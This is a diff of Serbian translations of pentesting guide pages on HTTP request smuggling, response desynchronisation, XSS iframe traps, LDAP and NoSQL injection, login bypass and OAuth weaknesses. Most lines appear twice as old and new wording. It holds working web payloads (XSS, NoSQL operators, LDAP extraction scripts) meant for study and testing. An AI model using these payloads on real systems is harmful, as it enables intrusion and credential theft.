Ova tehnika postaje posebno moćna ako se otkrije **vulnerabilnost Open Redirect** ili ako postoji **preusmeravanje na sajtu ka otvorenom preusmeravanju**. Takve ranjivosti se mogu iskoristiti za zamenu keširanog sadržaja `/static/include.js` sa skriptom pod kontrolom napadača, što suštinski omogućava široku Cross-Site Scripting (XSS) napad protiv svih klijenata koji zahtevaju ažurirani `/static/include.js`.
Ispod je ilustracija iskorišćavanja **trovanja keša u kombinaciji sa preusmeravanjem na sajtu ka otvorenom preusmeravanju**. Cilj je da se izmeni keš sadržaj `/static/include.js` kako bi se poslužila JavaScript koda pod kontrolom napadača:
Ispod je ilustracija iskorišćavanja **trovanja keša u kombinaciji sa preusmeravanjem na sajtu ka otvorenom preusmeravanju**. Cilj je izmeniti keš sadržaj `/static/include.js` da služi JavaScript kod pod kontrolom napadača:
```
POST / HTTP/1.1
Host: vulnerable.net
@ -492,18 +492,18 @@ Content-Length: 10
x=1
```
Napomena o ugrađenom zahtevu koji cilja `/post/next?postId=3`. Ovaj zahtev će biti preusmeren na `/post?postId=4`, koristeći **vrednost Host header-a** za određivanje domena. Menjanjem **Host header-a**, napadač može preusmeriti zahtev na svoj domen (**on-site redirect to open redirect**).
Napomena o ugrađenom zahtevu koji cilja `/post/next?postId=3`. Ovaj zahtev će biti preusmeren na `/post?postId=4`, koristeći **Host header value** za određivanje domena. Menjanjem **Host header-a**, napadač može preusmeriti zahtev na svoj domen (**on-site redirect to open redirect**).
Nakon uspešnog **socket poisoning-a**, treba inicirati **GET zahtev** za `/static/include.js`. Ovaj zahtev će biti kontaminiran prethodnim **on-site redirect to open redirect** zahtevom i preuzeti sadržaj skripte koju kontroliše napadač.
Nakon uspešnog **socket poisoning**, treba inicirati **GET request** za `/static/include.js`. Ovaj zahtev će biti kontaminiran prethodnim **on-site redirect to open redirect** zahtevom i preuzeti sadržaj skripte koju kontroliše napadač.
Nakon toga, svaki zahtev za `/static/include.js` će služiti keširani sadržaj napadačeve skripte, efikasno pokrećući širok XSS napad.
### Korišćenje HTTP request smuggling-a za izvođenje web cache deception-a <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
### Korišćenje HTTP request smuggling-a za izvođenje web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **Koja je razlika između web cache poisoning-a i web cache deception-a?**
> **Koja je razlika između web cache poisoning i web cache deception?**
>
> - U **web cache poisoning-u**, napadač uzrokuje da aplikacija sačuva neki zlonamerni sadržaj u kešu, a ovaj sadržaj se servira iz keša drugim korisnicima aplikacije.
> - U **web cache deception-u**, napadač uzrokuje da aplikacija sačuva neki osetljiv sadržaj koji pripada drugom korisniku u kešu, a napadač zatim preuzima ovaj sadržaj iz keša.
> - U **web cache poisoning**, napadač uzrokuje da aplikacija sačuva neki zlonamerni sadržaj u kešu, a ovaj sadržaj se servira iz keša drugim korisnicima aplikacije.
> - U **web cache deception**, napadač uzrokuje da aplikacija sačuva neki osetljiv sadržaj koji pripada drugom korisniku u kešu, a napadač zatim preuzima ovaj sadržaj iz keša.
Napadač kreira smuggled zahtev koji preuzima osetljiv sadržaj specifičan za korisnika. Razmotrite sledeći primer:
```markdown
@ -537,15 +537,15 @@ Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
Primer kako iskoristiti ovo ponašanje bio bi da se **prvo prokrijumčari HEAD zahtev**. Ovaj zahtev će biti odgovoreno samo sa **zaglavljima** GET zahteva (**`Content-Type`** među njima). I odmah nakon HEAD zahteva prokrijumčariti **TRACE zahtev**, koji će **odražavati poslati podaci**.\
Pošto će HEAD odgovor sadržati `Content-Length` zaglavlje, **odgovor TRACE zahteva će biti tretiran kao telo HEAD odgovora, što će stoga odražavati proizvoljne podatke** u odgovoru.\
Ovaj odgovor će biti poslat sledećem zahtevu preko veze, tako da bi ovo moglo biti **iskorišćeno u keširanom JS fajlu, na primer, da se ubaci proizvoljan JS kod**.
Primer kako iskoristiti ovo ponašanje bio bi da se **prokrijumčari prvo HEAD zahtev**. Ovaj zahtev će biti odgovoreno samo sa **zaglavljima** GET zahteva (**`Content-Type`** među njima). I prokrijumčariti **odmah nakon HEAD TRACE zahtev**, koji će **odražavati poslati podaci**.\
Pošto će HEAD odgovor sadržati `Content-Length` zaglavlje, **odgovor TRACE zahteva će biti tretiran kao telo HEAD odgovora, čime se odražavaju proizvoljni podaci** u odgovoru.\
Ovaj odgovor će biti poslat sledećem zahtevu preko veze, tako da bi se to moglo **koristiti u keširanom JS fajlu na primer za injektovanje proizvoljnog JS koda**.
### Iskorišćavanje TRACE putem HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Nastavite da pratite [**ovaj post**](https://portswigger.net/research/trace-desync-attack) gde je sugerisan još jedan način za zloupotrebu TRACE metode. Kao što je komentarisano, prokrijumčariti HEAD zahtev i TRACE zahtev je moguće **kontrolisati neka odražena podaci** u odgovoru na HEAD zahtev. Dužina tela HEAD zahteva je u suštini naznačena u Content-Length zaglavlju i formira se odgovorom na TRACE zahtev.
Nastavite da pratite [**ovaj post**](https://portswigger.net/research/trace-desync-attack) gde je sugerisan još jedan način za zloupotrebu TRACE metode. Kao što je komentarisano, prokrijumčarajući HEAD zahtev i TRACE zahtev moguće je **kontrolisati neke odražene podatke** u odgovoru na HEAD zahtev. Dužina tela HEAD zahteva je u suštini naznačena u Content-Length zaglavlju i formira se odgovorom na TRACE zahtev.
Stoga, nova ideja bi bila da, znajući ovo Content-Length i podatke date u TRACE odgovoru, moguće je učiniti da TRACE odgovor sadrži važeći HTTP odgovor nakon poslednjeg bajta Content-Length, omogućavajući napadaču da potpuno kontroliše zahtev za sledeći odgovor (što bi moglo biti iskorišćeno za izvršenje trovanja keša).
Stoga, nova ideja bi bila da, znajući ovo Content-Length i podatke date u TRACE odgovoru, moguće je učiniti da TRACE odgovor sadrži validan HTTP odgovor nakon poslednjeg bajta Content-Length, omogućavajući napadaču da potpuno kontroliše zahtev za sledeći odgovor (što bi moglo biti korišćeno za izvođenje trovanja kešom).
Primer:
```
@ -589,7 +589,7 @@ Content-Length: 50
```
### Naoružavanje HTTP Request Smuggling-a sa HTTP Response Desinkronizacijom
Da li ste pronašli neku HTTP Request Smuggling ranjivost i ne znate kako da je iskoristite? Pokušajte ove druge metode eksploatacije:
Da li ste pronašli neku HTTP Request Smuggling ranjivost i ne znate kako da je iskoristite. Pokušajte ove druge metode eksploatacije:
{{#ref}}
../http-response-smuggling-desync.md
@ -603,7 +603,7 @@ Da li ste pronašli neku HTTP Request Smuggling ranjivost i ne znate kako da je
browser-http-request-smuggling.md
{{#endref}}
- Request Smuggling u HTTP/2 Downgradima
- Request Smuggling u HTTP/2 Downgrade-ima
{{#ref}}
request-smuggling-in-http-2-downgrades.md

View File

@ -2,13 +2,13 @@
{{#include ../banners/hacktricks-training.md}}
**Tehnika iz ovog posta preuzeta je iz videa:** [**https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s**](https://www.youtube.com/watch?v=suxDcYViwao&t=1343s)
**Tehnika iz ovog posta je preuzeta iz videa:** [**https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s**](https://www.youtube.com/watch?v=suxDcYViwao&t=1343s)
## HTTP Request Queue Desynchronisation
Prvo, ova tehnika **zloupotrebljava HTTP Request Smuggling ranjivost**, tako da treba da znate šta je to:
**Glavna** **razlika** između ove tehnike i uobičajenog HTTP Request smuggling-a je ta što **umesto** da **napadamo** **zahtev** **žrtve** **dodavanjem prefiksa**, mi ćemo **procuriti ili izmeniti odgovor koji žrtva prima**. To se postiže tako što, umesto da pošaljemo 1 zahtev i po, **pošaljemo 2 potpuna zahteva da bismo desinkronizovali redosled odgovora proksija**.
**Glavna** **razlika** između ove tehnike i uobičajenog HTTP Request smuggling-a je ta što **umesto** da **napadnemo** **zahtev** **žrtve** **dodavanjem prefiksa**, mi ćemo **procuriti ili izmeniti odgovor koji žrtva prima**. To se postiže tako što, umesto da pošaljemo 1 zahtev i po da zloupotrebimo HTTP Request smuggling, **pošaljemo 2 potpuna zahteva da desinkronizujemo redosled odgovora proksija**.
To je zato što ćemo moći da **desinkronizujemo redosled odgovora** tako da **odgovor** iz **legitimnog** **zahteva** **žrtve bude poslat napadaču**, ili tako što ćemo **ubaciti sadržaj pod kontrolom napadača u odgovor žrtvi**.
@ -16,11 +16,11 @@ To je zato što ćemo moći da **desinkronizujemo redosled odgovora** tako da **
HTTP/1.1 omogućava da se traže **različiti resursi bez potrebe da se čeka na prethodne**. Stoga, ako postoji **proksi** u **sredini**, zadatak proksija je da **održi sinhronizovanu podudarnost zahteva poslatih ka backend-u i odgovora koji dolaze iz njega**.
Međutim, postoji problem sa desinkronizacijom reda odgovora. Ako napadač pošalje HTTP Response smuggling napad i odgovori na **početni zahtev i smugglovani zahtev budu odmah poslati**, smugglovani odgovor neće biti umetnut u red žrtvinog odgovora, već će **biti odbijen kao greška**.
Međutim, postoji problem sa desinkronizacijom reda odgovora. Ako napadač pošalje HTTP Response smuggling napad i odgovori na **početni zahtev i smugglovani zahtev budu odmah poslati**, smugglovani odgovor neće biti umetnut u red žrtvinog odgovora, već će **biti jednostavno odbijen kao greška**.
![](<../images/image (633).png>)
Stoga, potrebno je da **smugglovani** **zahtev** **traje duže da bi bio obrađen** unutar backend servera. Tako da, dok se smugglovani zahtev obrađuje, komunikacija sa napadačem će biti završena.
Stoga, potrebno je da **smugglovani** **zahtev** **traje duže da bude obrađen** unutar backend servera. Tako da, dok se smugglovani zahtev obrađuje, komunikacija sa napadačem će biti završena.
Ako u ovoj specifičnoj situaciji **žrtva pošalje zahtev** i **smugglovani zahtev bude odgovoreno pre** legitimnog zahteva, **smugglovani odgovor će biti poslat žrtvi**. Tako da će napadač **kontrolisati zahtev "izvršen" od strane žrtve**.
@ -32,13 +32,13 @@ Ako u ovoj specifičnoj situaciji **žrtva pošalje zahtev** i **smugglovani zah
### Multiple Nested Injections
Još jedna **zanimljiva razlika** sa uobičajenim **HTTP Request Smuggling** je ta što, u uobičajenom smugglovanju, **cilj** je da se **izmeni početak zahteva žrtve** kako bi se izvršila neočekivana akcija. U **HTTP Response smuggling napadu**, pošto šaljete **pune zahteve**, možete **ubaciti u jedan payload desetine odgovora** koji će **desinkronizovati desetine korisnika** koji će **primati** **ubacene** **odgovore**.
Još jedna **zanimljiva razlika** sa uobičajenim **HTTP Request Smuggling** je ta što, u uobičajenom smugglovanju, **cilj** je da se **izmeni početak zahteva žrtve** kako bi izvršio neočekivanu akciju. U **HTTP Response smuggling napadu**, pošto šaljete **pune zahteve**, možete **ubaciti u jedan payload desetine odgovora** koji će **desinkronizovati desetine korisnika** koji će **primati** **ubacene** **odgovore**.
Pored toga što možete **lakše distribuirati desetine eksploita** među legitimnim korisnicima, ovo se takođe može koristiti za izazivanje **DoS** na serveru.
### Exploit Organisation
Kao što je ranije objašnjeno, da biste zloupotrebljavali ovu tehniku, potrebno je da **prva smugglovana poruka** u server **zahteva puno vremena da bude obrađena**.
Kao što je ranije objašnjeno, da biste zloupotrebili ovu tehniku, potrebno je da **prva smugglovana poruka** u server **zahteva puno vremena da bude obrađena**.
Ovaj **zahtev koji zahteva vreme** je dovoljan ako samo želite da **pokušate da ukradete odgovor žrtve.** Ali ako želite da izvršite složeniji exploit, ovo će biti uobičajena struktura za exploit.
@ -48,23 +48,23 @@ Prvo, **početni** zahtev koji zloupotrebljava **HTTP** **Request** **smuggling*
### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
Kao i sa poznatim payload-ima HTTP Request Smuggling, možete **ukrasti zahtev žrtve** sa jednom važnom razlikom: U ovom slučaju vam je samo potrebno da **pošaljete sadržaj koji će biti reflektovan u odgovoru**, **nije potrebno trajno skladištenje**.
Kao i sa poznatim payload-ima za HTTP Request Smuggling, možete **ukrasti zahtev žrtve** sa jednom važnom razlikom: U ovom slučaju vam je samo potrebno da **pošaljete sadržaj koji će biti reflektovan u odgovoru**, **nije potrebno trajno skladištenje**.
Prvo, napadač šalje payload koji sadrži **konačni POST zahtev sa reflektovanim parametrom** na kraju i velikim Content-Length.
![](<../images/image (1053).png>)
Zatim, kada je **početni zahtev** (plavi) **obrađen** i **dok** se **spavački** zahtev obrađuje (žuti), **sledeći zahtev koji dolazi od žrtve** će biti **dodato u red odmah nakon reflektovanog parametra**:
Zatim, kada je **početni zahtev** (plavi) bio **obrađen** i **dok** se **spavajući** obrađuje (žuti), **sledeći zahtev koji dolazi od žrtve** će biti **dodato u red odmah nakon reflektovanog parametra**:
![](<../images/image (794).png>)
Zatim, **žrtva** će **primiti** **odgovor** na **spavački** zahtev i ako je u međuvremenu **napadač** **poslao** **drugi** **zahtev**, **odgovor iz zahteva reflektovanog sadržaja će biti poslat njemu**.
Zatim, **žrtva** će **primiti** **odgovor** na **spavajući** zahtev i ako je u međuvremenu **napadač** **poslao** **drugi** **zahtev**, **odgovor iz zahteva reflektovanog sadržaja će biti poslat njemu**.
## Response Desynchronisation
Do ovog trenutka, naučili smo kako da zloupotrebljavamo HTTP Request Smuggling napade da **kontrolišemo** **zahtev** **čiji** **odgovor** će **klijent** **primiti** i kako možete zatim **ukrasti odgovor koji je bio namenjen žrtvi**.
Do ovog trenutka, naučili smo kako da zloupotrebimo HTTP Request Smuggling napade da **kontrolišemo** **zahtev** **čiji** **odgovor** će **klijent** **primiti** i kako možete zatim **ukrasti odgovor koji je bio namenjen žrtvi**.
Ali je još uvek moguće **desinkronizovati još** više odgovora.
Ali je još uvek moguće **desinkronizovati još** više odgovore.
Postoje zanimljivi zahtevi kao što je **HEAD** zahtev koji su specificirani da nemaju **nikakav sadržaj unutar tela odgovora** i koji bi trebali (moraju) **sadržati Content-Length** zahteva kao **da je to GET zahtev**.
@ -94,7 +94,7 @@ Maliciozni zahtev koji sadrži XSS payload:
![](<../images/image (614).png>)
Maliciozni odgovor žrtvi koji sadrži zaglavlje koje ukazuje kešu da skladišti odgovor:
Maliciozni odgovor za žrtvu koji sadrži zaglavlje koje ukazuje kešu da skladišti odgovor:
![](<../images/image (566).png>)
@ -109,11 +109,11 @@ Ovaj napad je sličan prethodnom, ali **umesto da ubacuje payload unutar keša,
### Response Splitting
**Cilj** ovog napada je ponovo zloupotreba **desinkronizacije** **odgovora** kako bi se **proksi naterao da pošalje 100% napadačem generisan odgovor**.
**Cilj** ovog napada je ponovo zloupotrebiti **desinkronizaciju** **odgovora** kako bi **proksi poslao 100% napadačem generisan odgovor**.
Da bi to postigao, napadač treba da pronađe krajnju tačku web aplikacije koja **reflektuje neke vrednosti unutar odgovora** i **zna dužinu sadržaja HEAD odgovora**.
On će poslati **exploit** kao:
On će poslati **eksploit** kao:
![](<../images/image (911).png>)
@ -127,6 +127,6 @@ Nakon što je prvi zahtev rešen i poslat nazad napadaču, **zahtev žrtve se do
Međutim, obratite pažnju kako su **reflektovani podaci imali veličinu prema Content-Length** **HEAD** odgovora koji je **generisao validan HTTP odgovor u redu odgovora**.
Stoga, **sledeći zahtev drugog žrtve** će **primiti** kao **odgovor nešto potpuno kreirano od strane napadača**. Kako je odgovor potpuno kreiran od strane napadača, on takođe može **naterati proksi da kešira odgovor**.
Stoga, **sledeći zahtev druge žrtve** će **primiti** kao **odgovor nešto potpuno kreirano od strane napadača**. Kako je odgovor potpuno kreiran od strane napadača, on takođe može **naterati proksi da kešira odgovor**.
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,13 +2,13 @@
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## Osnovne informacije
Ova forma zloupotrebe XSS-a putem iframes-a za krađu informacija od korisnika koji se kreće po veb stranici prvobitno je objavljena u ova 2 posta sa trustedsec.com: [**ovde**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **i** [**ovde**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).
Napad počinje na stranici koja je ranjiva na XSS gde je moguće učiniti da **žrtve ne napuste XSS** tako što će ih **navigirati unutar iframes-a** koji zauzima celu veb aplikaciju.
XSS napad će u osnovi učitati veb stranicu u iframes-u na 100% ekrana. Stoga, žrtva **neće primetiti da je unutar iframes-a**. Zatim, ako žrtva navigira na stranici klikom na linkove unutar iframes-a (unutar veba), ona će **navigirati unutar iframes-a** sa proizvoljnim JS-om koji krade informacije iz ove navigacije.
XSS napad će u suštini učitati veb stranicu u iframes-u na 100% ekrana. Stoga, žrtva **neće primetiti da je unutar iframes-a**. Zatim, ako žrtva navigira na stranici klikom na linkove unutar iframes-a (unutar veba), on će **navigirati unutar iframes-a** sa proizvoljnim JS učitanim koji krade informacije iz ove navigacije.
Štaviše, da bi to bilo realističnije, moguće je koristiti neke **slušače** da provere kada iframes menja lokaciju stranice, i ažurirati URL pretraživača sa tim lokacijama za koje korisnik misli da se kreće po stranicama koristeći pretraživač.
@ -16,7 +16,7 @@ XSS napad će u osnovi učitati veb stranicu u iframes-u na 100% ekrana. Stoga,
<figure><img src="../images/image (1249).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png">https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png</a></p></figcaption></figure>
Pored toga, moguće je koristiti slušače za krađu osetljivih informacija, ne samo drugih stranica koje žrtva posećuje, već i podataka koji se koriste za **popunjavanje obrazaca** i slanje (akreditivi?) ili za **krađu lokalne memorije**...
Pored toga, moguće je koristiti slušače za krađu osetljivih informacija, ne samo drugih stranica koje žrtva posećuje, već i podataka korišćenih za **popunjavanje obrazaca** i slanje (akreditivi?) ili za **krađu lokalne memorije**...
Naravno, glavna ograničenja su da **žrtva zatvaranjem taba ili unosom druge URL adrese u pretraživač izlazi iz iframes-a**. Drugi način da se to uradi bio bi da se **osveži stranica**, međutim, to bi moglo biti delimično **sprečeno** onemogućavanjem kontekstnog menija desnog klika svaki put kada se nova stranica učita unutar iframes-a ili primetanjem kada miš korisnika napusti iframes, potencijalno da klikne na dugme za osvežavanje pretraživača i u tom slučaju URL pretraživača se ažurira sa originalnim URL-om ranjivim na XSS, tako da ako korisnik osveži, ponovo će biti zaražen (napomena da ovo nije baš diskretno).

View File

@ -145,9 +145,9 @@ Možete iterirati preko ascii slova, cifara i simbola:
(&(sn=administrator)(password=MB*)) : KO
...
```
### Skripte
### Scripts
#### **Otkrijte važeća LDAP polja**
#### **Otkrivanje validnih LDAP polja**
LDAP objekti **po defaultu sadrže nekoliko atributa** koji se mogu koristiti za **čuvanje informacija**. Možete pokušati da **brute-force-ujete sve njih kako biste izvukli te informacije.** Možete pronaći listu [**default LDAP atributa ovde**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
```python
@ -181,7 +181,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
finish = True
print()
```
#### **Specijalna slepa LDAP injekcija (bez "\*")**
#### **Specijalna Slepa LDAP Injekcija (bez "\*")**
```python
#!/usr/bin/python3
@ -202,7 +202,7 @@ break
```bash
intitle:"phpLDAPadmin" inurl:cmd.php
```
### Više Payload-a
### Više Payloads
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}

View File

@ -6,7 +6,7 @@
Ako pronađete stranicu za prijavu, ovde možete pronaći neke tehnike koje možete pokušati da je zaobiđete:
- Proverite **komentare** unutar stranice (pomaknite se nadole i nadesno?)
- Proverite **komentare** unutar stranice (pomaknite se prema dolje i desno?)
- Proverite da li možete **direktno pristupiti ograničenim stranicama**
- Proverite da **ne šaljete parametre** (ne šaljite nijedan ili samo 1)
- Proverite **PHP greške u poređenju:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
@ -83,7 +83,7 @@ Stranice obično preusmeravaju korisnike nakon prijavljivanja, proveri da li mo
## Ostale provere
- Proveri da li možeš da **enumerišeš korisnička imena** koristeći funkcionalnost prijavljivanja.
- Proveri da li možeš da **enumerišeš korisnička imena** zloupotrebom funkcionalnosti prijavljivanja.
- Proveri da li je **automatsko popunjavanje** aktivno u formama za lozinke/**osetljive** informacije **input:** `<input autocomplete="false">`
## Automatski alati

View File

@ -2,7 +2,7 @@
Ova lista sadrži **payloads za zaobilaženje prijave putem XPath, LDAP i SQL injekcije** (u tom redosledu).
Način korišćenja ove liste je da se **prvih 200 redova stavi kao korisničko ime i lozinka.** Zatim, stavite kompletnu listu prvo u korisničko ime, a zatim u lozinku, dok unosite neku lozinku (kao što je _Pass1234._) ili neko poznato korisničko ime (kao što je _admin_).
Način korišćenja ove liste je da se **prvih 200 redova stavi kao korisničko ime i lozinka.** Zatim, stavite kompletnu listu prvo u korisničko ime, a zatim u lozinku dok unosite neku lozinku (kao što je _Pass1234._) ili neko poznato korisničko ime (kao što je _admin_).
```
admin
password

View File

@ -17,7 +17,7 @@ username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
```
### Zaobilaženje osnovne autentifikacije
### Bypass osnovne autentifikacije
**Korišćenje not equal ($ne) ili greater ($gt)**
```bash
@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
```javascript
query = { $where: `this.username == '${username}'` }
```
Napadač može iskoristiti ovo unosom stringova kao što su `admin' || 'a'=='a`, čime se upit vraća sve dokumente zadovoljavajući uslov sa tautologijom (`'a'=='a`). Ovo je analogno SQL injection napadima gde se unosi kao što su `' or 1=1-- -` koriste za manipulaciju SQL upitima. U MongoDB, slične injekcije mogu se izvršiti koristeći unose kao što su `' || 1==1//`, `' || 1==1%00`, ili `admin' || 'a'=='a`.
Napadač može iskoristiti ovo unosom stringova kao što su `admin' || 'a'=='a`, čime se upit vraća sve dokumente zadovoljavajući uslov sa tautologijom (`'a'=='a`). Ovo je analogno SQL injection napadima gde se unosi poput `' or 1=1-- -` koriste za manipulaciju SQL upitima. U MongoDB, slične injekcije mogu se izvršiti koristeći unose kao što su `' || 1==1//`, `' || 1==1%00`, ili `admin' || 'a'=='a`.
```
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
@ -176,7 +176,7 @@ if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
### Brute-force prijava korisničkih imena i lozinki iz POST prijave
### Brute-force prijavljivanje korisničkih imena i lozinki iz POST prijave
Ovo je jednostavan skript koji možete modifikovati, ali prethodni alati takođe mogu obaviti ovaj zadatak.
```python

View File

@ -5,24 +5,24 @@
## Osnovne informacije <a href="#d4a8" id="d4a8"></a>
OAuth nudi različite verzije, sa osnovnim uvidima dostupnim na [OAuth 2.0 dokumentacija](https://oauth.net/2/). Ova diskusija se prvenstveno fokusira na široko korišćeni [OAuth 2.0 tip dodeljivanja autorizacionog koda](https://oauth.net/2/grant-types/authorization-code/), pružajući **okvir autorizacije koji omogućava aplikaciji da pristupi ili izvrši radnje na korisničkom nalogu u drugoj aplikaciji** (autorizacioni server).
OAuth nudi različite verzije, sa osnovnim uvidima dostupnim na [OAuth 2.0 dokumentacija](https://oauth.net/2/). Ova diskusija se prvenstveno fokusira na široko korišćeni [OAuth 2.0 tip granta za autorizaciju](https://oauth.net/2/grant-types/authorization-code/), pružajući **okvir autorizacije koji omogućava aplikaciji da pristupi ili izvrši radnje na korisničkom nalogu u drugoj aplikaciji** (server za autorizaciju).
Zamislite hipotetičku veb stranicu _**https://example.com**_, dizajniranu da **prikaže sve vaše objave na društvenim mrežama**, uključujući privatne. Da bi to postigla, koristi se OAuth 2.0. _https://example.com_ će zatražiti vašu dozvolu da **pristupi vašim objavama na društvenim mrežama**. Kao rezultat toga, na _https://socialmedia.com_ će se pojaviti ekran za saglasnost, koji će prikazati **dozvole koje se traže i programera koji podnosi zahtev**. Nakon vaše autorizacije, _https://example.com_ dobija mogućnost da **pristupi vašim objavama u vaše ime**.
Zamislite hipotetičku veb stranicu _**https://example.com**_, dizajniranu da **prikaže sve vaše objave na društvenim mrežama**, uključujući privatne. Da bi to postigla, koristi se OAuth 2.0. _https://example.com_ će zatražiti vašu dozvolu da **pristupi vašim objavama na društvenim mrežama**. Kao rezultat toga, na _https://socialmedia.com_ će se pojaviti ekran za saglasnost, koji će prikazati **dozvole koje se traže i programera koji pravi zahtev**. Nakon vaše autorizacije, _https://example.com_ dobija mogućnost da **pristupi vašim objavama u vaše ime**.
Važno je razumeti sledeće komponente unutar OAuth 2.0 okvira:
- **vlasnik resursa**: Vi, kao **korisnik/entitet**, autorizujete pristup vašem resursu, kao što su objave na vašem nalogu na društvenim mrežama.
- **server resursa**: **server koji upravlja autentifikovanim zahtevima** nakon što je aplikacija obezbedila `access token` u ime `vlasnika resursa`, npr. **https://socialmedia.com**.
- **klijentska aplikacija**: **aplikacija koja traži autorizaciju** od `vlasnika resursa`, kao što je **https://example.com**.
- **autorizacioni server**: **server koji izdaje `access tokens`** klijentskoj aplikaciji nakon uspešne autentifikacije `vlasnika resursa` i obezbeđivanja autorizacije, npr. **https://socialmedia.com**.
- **server za autorizaciju**: **server koji izdaje `access tokens`** klijentskoj aplikaciji nakon uspešne autentifikacije `vlasnika resursa` i obezbeđivanja autorizacije, npr. **https://socialmedia.com**.
- **client_id**: Javni, jedinstveni identifikator za aplikaciju.
- **client_secret:** Tajni ključ, poznat samo aplikaciji i autorizacionom serveru, koji se koristi za generisanje `access_tokens`.
- **client_secret:** Tajni ključ, poznat samo aplikaciji i serveru za autorizaciju, koji se koristi za generisanje `access_tokens`.
- **response_type**: Vrednost koja specificira **tip tokena koji se traži**, kao što je `code`.
- **scope**: **nivo pristupa** koji klijentska aplikacija traži od `vlasnika resursa`.
- **redirect_uri**: **URL na koji se korisnik preusmerava nakon autorizacije**. Ovo obično mora biti u skladu sa unapred registrovanim URL-om za preusmeravanje.
- **state**: Parametar za **održavanje podataka tokom korisnikovog preusmeravanja ka i sa autorizacionog servera**. Njegova jedinstvenost je ključna za služenje kao **mehanizam zaštite od CSRF**.
- **grant_type**: Parametar koji označava **tip dodeljivanja i tip tokena koji treba da bude vraćen**.
- **code**: Autorizacioni kod sa `autorizacionog servera`, koji klijentska aplikacija koristi zajedno sa `client_id` i `client_secret` da bi dobila `access_token`.
- **state**: Parametar za **održavanje podataka tokom korisnikovog preusmeravanja ka i sa servera za autorizaciju**. Njegova jedinstvenost je ključna za služenje kao **mehanizam zaštite od CSRF**.
- **grant_type**: Parametar koji označava **tip granta i tip tokena koji treba da bude vraćen**.
- **code**: Autorizacioni kod sa `servera za autorizaciju`, koji klijentska aplikacija koristi zajedno sa `client_id` i `client_secret` da bi dobila `access_token`.
- **access_token**: **token koji klijentska aplikacija koristi za API zahteve** u ime `vlasnika resursa`.
- **refresh_token**: Omogućava aplikaciji da **dobije novi `access_token` bez ponovnog traženja od korisnika**.
@ -45,13 +45,13 @@ https://socialmedia.com/auth
```
https://example.com?code=uniqueCode123&state=randomString123
```
5. https://example.com koristi ovaj `code`, zajedno sa svojim `client_id` i `client_secret`, da izvrši zahtev na serverskoj strani kako bi dobio `access_token` u vaše ime, omogućavajući pristup dozvolama na koje ste pristali:
5. https://example.com koristi ovaj `code`, zajedno sa svojim `client_id` i `client_secret`, da izvrši zahtev sa servera kako bi dobio `access_token` u vaše ime, omogućavajući pristup dozvolama na koje ste pristali:
```
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
```
6. Na kraju, proces se završava kada https://example.com koristi vaš `access_token` za API poziv na društvenim mrežama da pristupi
6. Na kraju, proces se završava kada https://example.com koristi vaš `access_token` za API poziv ka društvenim mrežama kako bi pristupio
## Ranljivosti <a href="#id-323a" id="id-323a"></a>
@ -67,30 +67,30 @@ Za one koji ciljaju OpenID server, krajnja tačka otkrivanja (`**.well-known/ope
### XSS u implementaciji preusmeravanja <a href="#bda5" id="bda5"></a>
Kao što je pomenuto u ovom izveštaju o nagradama za greške [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), može biti moguće da se **URL preusmeravanja odražava u odgovoru** servera nakon što se korisnik autentifikuje, što ga čini **ranjivim na XSS**. Mogući payload za testiranje:
Kao što je pomenuto u ovom izveštaju o bug bounty [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), može biti moguće da se **URL preusmeravanja odražava u odgovoru** servera nakon što se korisnik autentifikuje, što ga čini **ranjivim na XSS**. Mogući payload za testiranje:
```
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
```
### CSRF - Nepravilno rukovanje parametrom stanja <a href="#bda5" id="bda5"></a>
U OAuth implementacijama, zloupotreba ili izostavljanje **`state` parametra** može značajno povećati rizik od napada **Cross-Site Request Forgery (CSRF)**. Ova ranjivost nastaje kada se `state` parametar ili **ne koristi, koristi kao statička vrednost, ili se nevalidira pravilno**, omogućavajući napadačima da zaobiđu CSRF zaštitu.
U OAuth implementacijama, zloupotreba ili izostavljanje **`state` parametra** može značajno povećati rizik od napada **Cross-Site Request Forgery (CSRF)**. Ova ranjivost se javlja kada se `state` parametar **ne koristi, koristi kao statička vrednost ili se nevalidira pravilno**, omogućavajući napadačima da zaobiđu CSRF zaštitu.
